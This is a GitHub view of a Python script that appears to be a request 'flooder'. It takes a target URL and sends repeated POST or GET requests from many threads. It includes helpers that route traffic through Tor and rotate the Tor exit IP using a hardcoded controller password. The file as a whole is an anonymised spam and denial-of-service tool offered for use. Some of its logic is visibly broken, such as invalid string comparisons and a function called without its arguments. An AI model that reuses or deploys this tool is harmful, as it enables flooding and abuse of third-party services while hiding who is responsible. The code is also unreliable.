-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
166 lines (135 loc) · 7.79 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
import json
import os
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
from stem import Signal
from stem.control import Controller
# -*- coding: utf-8 -*-
clear = lambda: os.system('cls')
def logo():
print(r"""\
███████████ █████ █████████
░░███░░░░░███ ░░███ ███░░░░░███
░███ ░███ ██████ ████████ █████ ████ ██████ █████ ███████ ░███ ░░░ ████████ ██████ █████████████ █████████████ ██████ ████████
░██████████ ███░░███ ███░░███ ░░███ ░███ ███░░███ ███░░ ░░░███░ ██████████░░█████████ ░░███░░███ ░░░░░███ ░░███░░███░░███ ░░███░░███░░███ ███░░███░░███░░███
░███░░░░░███ ░███████ ░███ ░███ ░███ ░███ ░███████ ░░█████ ░███ ░░░░░░░░░░ ░░░░░░░░███ ░███ ░███ ███████ ░███ ░███ ░███ ░███ ░███ ░███ ░███████ ░███ ░░░
░███ ░███ ░███░░░ ░███ ░███ ░███ ░███ ░███░░░ ░░░░███ ░███ ███ ███ ░███ ░███ ░███ ███░░███ ░███ ░███ ░███ ░███ ░███ ░███ ░███░░░ ░███
█████ █████░░██████ ░░███████ ░░████████░░██████ ██████ ░░█████ ░░█████████ ░███████ ░░████████ █████░███ █████ █████░███ █████░░██████ █████
░░░░░ ░░░░░ ░░░░░░ ░░░░░███ ░░░░░░░░ ░░░░░░ ░░░░░░ ░░░░░ ░░░░░░░░░ ░███░░░ ░░░░░░░░ ░░░░░ ░░░ ░░░░░ ░░░░░ ░░░ ░░░░░ ░░░░░░ ░░░░░
░███ ░███
█████ █████
░░░░░ ░░░░░ """)
# Y/n
def query_yes_no(question, default="yes"):
valid = {"yes": True, "y": True, "ye": True,
"no": False, "n": False}
if default is None:
prompt = " [y/n] "
elif default == "yes":
prompt = " [Y/n] "
elif default == "no":
prompt = " [y/N] "
else:
raise ValueError("invalid default answer: '%s'" % default)
while True:
sys.stdout.write(question + prompt)
choice = input().lower()
if default is not None and choice == '':
return valid[default]
elif choice in valid:
return valid[choice]
else:
sys.stdout.write("Please respond with 'yes' or 'no' "
"(or 'y' or 'n').\n")
# Send-POST
def send(url, data):
try:
html = requests.post(url, data)
return html.text
except requests.exceptions.RequestException as e:
return e
# Send-GET
def send_get(url, data):
try:
html = requests.get(url, data)
return html.text
except requests.exceptions.RequestException as e:
return e
# Send-Tor
def tor_send(url, data):
session = requests.session()
# TO Request URL with SOCKS over TOR
session.proxies = {}
session.proxies['http'] = 'socks5h://localhost:9050'
session.proxies['https'] = 'socks5h://localhost:9050'
html = session.post(url, data)
return html.text
# runner
def runner(url, data, met):
threads = []
if met == '1':
with ThreadPoolExecutor(max_workers=16) as executor:
for i in range(times):
threads.append(executor.submit(send, url, data))
for task in as_completed(threads):
print(task.result())
else:
with ThreadPoolExecutor(max_workers=16) as executor:
for i in range(times):
threads.append(executor.submit(send_get, url, data))
for task in as_completed(threads):
print(task.result())
def tor_runner():
tor_threads = []
with ThreadPoolExecutor(max_workers=16) as executor:
for i in range(times):
tor_threads.append(executor.submit(tor_send, url, data))
for task in as_completed(tor_threads):
print(task.result())
# Chnage Tor ip
def renew_tor_ip():
with Controller.from_port(port=9051) as controller:
controller.authenticate(password="QAZ123qaz")
controller.signal(Signal.NEWNYM)
while True:
logo()
print("Please enter a option:")
print('1. Run Flooder')
print('2. Run Flooder from Config')
print('3. Create Config')
value = input()
if value == '1':
clear()
# tor = query_yes_no("Do you want to use TOR?")
met = input("DO you want to use POST/GET")
url = input("Enter the target url:\n")
data2 = input("Enter the data for the requests:\n")
times = int(input("Enter the times that your requests will be sent:\n"))
v_response = input("Enter the desire respones (default=200):\n")
data = (json.loads(data2))
if met == 'POST' & 'P' & 'p':
met = 1
elif value == 'GET' & 'G' & 'g':
met = 0
runner(url, data, met)
elif value == '2':
name = input("Enter the config name:\n")
with open(name, "r") as read_file:
output = json.load(read_file)
times = int(input("Enter the times that your requests will be sent:\n"))
url = output['url']
data = output['data']
data = (json.loads(data))
runner()
elif value == '3':
clear()
name = input("Enter desire config name:\n")
url = input("Enter the target url:\n")
data = input("Enter the data for the requests:\n")
v_response = input("Enter the desire respones (default=200):\n")
# create conf
# print(url.replace('"',''))
config = {"url": url, "data": data, "response": v_response}
with open(name, "w") as write_file:
json.dump(config, write_file)